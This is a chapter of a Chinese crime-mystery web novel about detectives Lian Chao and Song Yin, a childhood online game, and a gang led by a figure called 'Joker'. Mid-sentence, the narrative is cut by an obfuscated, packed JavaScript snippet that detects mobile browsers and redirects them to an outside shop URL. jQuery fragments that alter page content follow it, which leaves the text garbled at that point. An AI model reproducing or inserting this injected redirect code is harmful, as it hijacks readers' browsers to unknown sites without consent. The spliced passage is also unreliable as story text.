他皱着眉看向黑掉的手机屏幕,想到宋隐挂电话前那几句话的语气,不知为何,总有点不放心。 “咚咚”两下敲门声响起。 连潮回过头,看见了锦宁市来的支队长祁臧。 走进临时办公室,祁臧直截了当道:“连队现在有空吗?关于‘转孕珠’一案,想和你确认一些细节。” “当然。”连潮道。 “今天可能会继续熬大夜。你那边没问题吧?” “没问题。” “那就好。”祁臧坐到连潮旁边,把笔记本电脑往桌上一搁,“别介意,我过来交流学习,已经整整一个月了,这不,刚说要走,又忽然给我派了这活……早点干完,才能早点回去见老婆,你说是不是?” “见老婆。” 听到这三个字的时候,连潮脑中浮现的,是祁臧那天打电话时,电话那头传来的明显的男声。 然后连潮莫名就想到了宋隐。 宋隐当然不是他的老婆,只是他的下属。 但连潮确实想早点回去。 他总觉得他得时刻盯着宋隐。 《金刚经》里有这样一句话: “一切有为法,如梦幻泡影。” 宋隐就像那梦幻泡影。 如果不被框住捆住绑住,也许随时会消失不见。 “连队这表情,也是想对象了?”祁臧好奇问他。 连潮正色道:“我没有对象。我们开始吧。祁队现在对哪里有疑虑?” · 离开李虹家后,宋隐开车,先把卓宛白送回了家。 至于他自己,则又回到了一趟市局—— 他去物证管理室,借走了那个木雕娃娃。 片刻后,法医办公室内。 木雕娃娃被放在了略有些凌乱的办公桌上。 宋隐用莫测的眼神盯了娃娃一会儿,拿起旁边的一罐苏打水打开来,一口气就喝掉了大半罐。 待胃部的酸涩感消失些许,他皱着眉头端起面前的娃娃,“哐啷”一下,竟是把它砸在了地上。 宋隐的脸色隐隐有些发白。 他垂着眼冷冷注视了娃娃片刻,再蹲下身把它捡起来。 娃娃被砸出了一道裂缝。 顺着这道裂缝一用力,宋隐将它掰开成了两半—— 娃娃是空心的。 它的身体内部刻着两排英文字母: “YW.” “CCDY.” 宋隐读懂了这两行字母的意思: “You’re wee(不用谢)。” “春潮带雨。” 胃部的酸涩感再度上涌,宋隐有了呕吐的欲望。 他又打开一罐苏打水快速灌下去,这才把难受的感觉堪堪压住。 然后他的记忆,回到了12岁那年—— 那一回,父亲酒后发疯,又狠狠欧打了母亲。 宋隐质问母亲为什么不走,问她是不是疯了。 母亲却反过来质问他,为什么竟敢用这种语气和自己说话,末了还留下一句: “你太小了,你根本什么也不懂。” 宋隐想,自己确实不懂。 徐家在淮市本地很有名望,徐含芳也算得上千金大小姐,不知道怎么就吊在了宋禄这个人身上不肯走。当初为嫁宋禄,她甚至不惜和亲生父亲断绝关系。 于是那天放学后,宋隐没回家,而是又去了网吧。 这便又遇到了连潮。 两人打起了某款5V5的竞技游戏。 宋隐虽然只有12岁,但眼力好,手速快,对游戏的理解也非常到位,尤其喜欢玩刺客。 他熟练地敲打着鼠标和键盘,游戏屏幕上,英姿飒爽的刺客在他的操纵下,转瞬间便身形利落地收割了敌方的三名残血。 “我看新闻了。文化公园那名死者,身上有一个标记。一个三角形和一条竖线,构成了一把伞。那是个连环杀手。警方已经锁定了他的行踪,正在想办法抓捕。” 宋隐的大招陷入了CD,敌方刺客趁机杀了过来。 千钧一发之际,坐在他身边的连潮操纵着一名战士,自旁边草丛闪现而上,稳稳帮宋隐挡住伤害的同时,再两刀将对方刺客的血条全部清零。 “这下你相信,我不是凶手了?” 宋隐没说话,默默顶着残血冲上敌方高地。 连潮随即跟上,两人齐齐打爆了敌人的基地水晶。 伴随着游戏胜利的提示,宋隐淡淡道:“我本来也没觉得你是凶手。不然那晚我不会打开窗户让你进来。” 闻言,连潮笑了笑,也不知道信没信他的话。 宋隐侧头瞥向他的屏幕,发现他退出了游戏。 “不再打一局吗?” “换个游戏吧,宋隐。” 连潮转而打开了一款仙侠风的游戏。 宋隐注意到,游戏的名字叫:《仙之逆旅》。 连潮介绍道:“这款游戏丰富很多。可玩性也很高。也许你会喜欢。要试试吗?” “随便吧。能消磨时间就可以。” 就这样,宋隐登录了这款之前从未玩过的3D游戏。 游戏的角色设计得非常好看,不同职业各有特色。 年仅12岁的宋隐,为自己选了个成年的男性道士角色,取名为:“道隐无名。” 看到他名字的那一刻,连潮当即大笑。 “你年纪这么小,怎么取了这么个老气横秋的名字?” “道隐无名。夫唯道,善贷且成。 “我只是很喜欢这句话。你呢?你叫什么?” 宋隐侧头看向连潮的屏幕。 他看到了一个男性近身战士类的角色。 角色上方顶着一个与游戏风格很不搭的:“Joker。” “我改一个好了。” 连潮敲着键盘,把名字改成了:“春潮带雨。” “对了宋隐,我这里有个帮会。你来我们帮吧。” “好,帮会名叫什么?” “福音帮。祝福的福。声音的音。” “福音?听起来还挺吉利,跟圣母玛利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15095831|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚一个风格。” “其实它是由一个拉丁语的词汇翻译过来的。” “拉丁语?” “嗯。我教你念,那个词是——Evangelium.” · 当晚,临市蒙城。 郊区别墅二楼,起居室的电脑前,坐着一个身材健硕,浑身肌肉都练得格外明显的男人。 他正在登录一款名叫《仙之逆旅》的游戏。 不久后,游戏界面出现了一个扎着丸子头,脸蛋非常可爱的萌妹,与男人的外表形成了强烈反差。 这位萌妹的游戏ID叫做【飞鸿】。 男人操纵着飞鸿去到了帮会。 一进帮会领地,电脑界面右上方顿时浮现出了他们帮会的名字:“福音帮”。 男人在帮会的公共菜地上收了一些用于做小药、养萌宠的菜,又往空下来的菜地里洒了种子,再去到信使处,给好友列表里的一个人发去了邮件: “帝都针对‘转孕珠’的事儿成立专案组了。一听说这事儿,姓龚的赶紧脚底抹油跑了。 “哈,就他,搞搞转孕珠算了,还想染指蒙城这边的其他生意?我呸!这下好了,蒙城还是咱们的! “放心吧,我会继续帮你看住这边的。高啊,Joker你这招实在是高!警察全都被你玩弄在鼓掌中!” 【您的信件已由信使快马加鞭,送到了“春潮带雨”侠士的手里】 看到这则系统消息提示,男人离开信使处,操纵着飞鸿做起了日常活动。 这个时候忽然有人推门而入。 那是一个生得十分明艳动人的女人。 不过她未施粉黛,穿着也非常朴素,像是为自己强行套了个农村妇女的壳。 男人当即放下鼠标,将女人一把搂紧怀里。 “阿云,你立大功啦!居然能发现有人想杀艾利!” 被称为阿云的女人咯咯一笑。 “艾利呐,她被姓龚的那伙人哄骗着做了几年‘转孕珠’生意,但还没有真正接触过福音帮的核心呢。 “我看她这几年日子也算慢慢好起来了,所以才去淮市找她,本是想拉她入伙,继续为伟大的厄梵迦琉斯大帝做供奉的…… “啧,谁曾想,居然叫我碰见有杀手跟踪她,这不巧了么?” 男人不由问:“到底是谁想杀她?” 阿云无所谓地一摇头。 “这我哪儿知道?交给警方去查咯。 “哎,要怪,也要怪这艾利运气不好,撞上了姓龚的想和我们抢地盘……这不正好就能被Joker利用了么? “Joker不愧是Joker,听我汇报了这事儿后,他半点犹豫都没有,当即说,干脆就让杀手杀死艾利好了。 “这样我们就可以利用她的死,把警察的注意力,引到姓龚的负责的‘转孕珠’产业链上。 “说来也巧,简直是天助我们。 “那晚我和Joker一路跟着杀手,他居然直接把人带去了金沙河边…… “你看,为了伪造杀人的仪式感,我们本打算,要把尸体搬到金沙河,再放入那个娃娃的。 “这下好了,杀手直接去了金沙河,我们都不需要额外费劲搬运尸体了—— “Joker这人呐,不仅脑子活络,运气也一直很好。” “嘶……”男人挠挠头,若有所思看向阿云,“但你们为什么把用过的线啊刀啊什么的,就扔在那儿?” “Joker说了,这是他送给宋隐的礼物。具体你要去问他咯。” 阿云笑了笑,“话说要是没有宋隐,其他法医要是不仔细,够呛能发现李虹生过很多孩子的事儿呢!” “宋隐……说起来,我前两天好像看见他上线了。 “有意思。这么多年没玩这游戏,最近忽然上线,他是不是察觉到了什么?够敏锐的。” 男人转动椅子面向屏幕,操纵起鼠标,忽然“哟嚯”了一声,“说曹操曹操到嘿,你猜怎么着?他上线了!” 男人迅速给宋隐发了组队申请。 数秒后,界面显示:【道隐无名已加入队伍】 男人打字:“哟,道隐,好久不见,打算回归了?你一身装备已经过时了。需要打本搞装备的话,我带你。” 片刻后,【道隐无名】发来: “Joker还活着?当年我亲眼看见他被炸成了碎片。” 男人与阿云相视一笑,再打字: “他死了,但是他诚心信仰厄梵迦琉斯大帝,所以大帝赐予了他新生。 “你看,他不是重生成刑侦大队长,回到你的身边了吗?” · 淮市。尚御坊小区3号楼乙单元7楼。 书房里,电脑液晶屏的冷光把宋隐的脸照得无比苍白。 他一把按掉电源,去到厨房拿出冰凉的苏打水,接连喝下两罐,然后去健身房跑了很久的步。 洗完澡回到卧室,宋隐拿出手机一看,已是凌晨3点。 他顶着一头湿发躺上床,闭上眼却怎么也睡不着。 不知过了多久,他侧躺在床上拿出手机,翻开通讯记录,目光落到了“连潮”这两个字上。 注视着两个字片刻,宋隐拇指按下了拨打键。 ——已经这个点了,连潮睡了吗? 数秒后,宋隐像是后悔了。 他一下子坐起来,拿起了手机。 路灯透过窗纱把宋隐的侧影勾勒得脆弱而朦胧。 他将拇指朝“结束通话”这个按钮点去—— 然而下一刻,电话接通,连潮低沉有力的声音传了过来: “宋隐?还没睡吗?找我什么事?”